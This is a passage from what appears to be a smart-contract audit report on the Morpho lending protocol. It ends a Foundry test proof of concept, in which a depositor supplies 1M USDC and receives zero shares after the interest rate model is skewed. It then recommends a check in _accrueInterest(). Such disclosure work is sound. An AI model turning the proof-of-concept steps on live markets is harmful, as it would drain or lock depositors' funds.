↪   morpho.market(id).totalSupplyShares);
        console2.log("borrowAssets: %d, borrowShares: %d", morpho.market(id).totalBorrowAssets,
↪   morpho.market(id).totalBorrowShares);

        // Supply 1M USDC, but gets no shares in return
        loanToken.setBalance(address(this), 1_000_000e6);
        morpho.supply(marketParams, 1_000_000e6, 0, SUPPLIER, "");
        assertEq(morpho.position(id, SUPPLIER).supplyShares, 0);
    }
}
```

Recommendation: In `_accrueInterest()`, consider checking that `totalSupplyAssets` is sufficiently large for `IIrm.borrowRate()` to be called.

This prevents the IRM from adjusting the interest rate when the utilization rate is "falsely" high (e.g. only 1 wei supplied and borrowed, resulting in 100% utilization rate).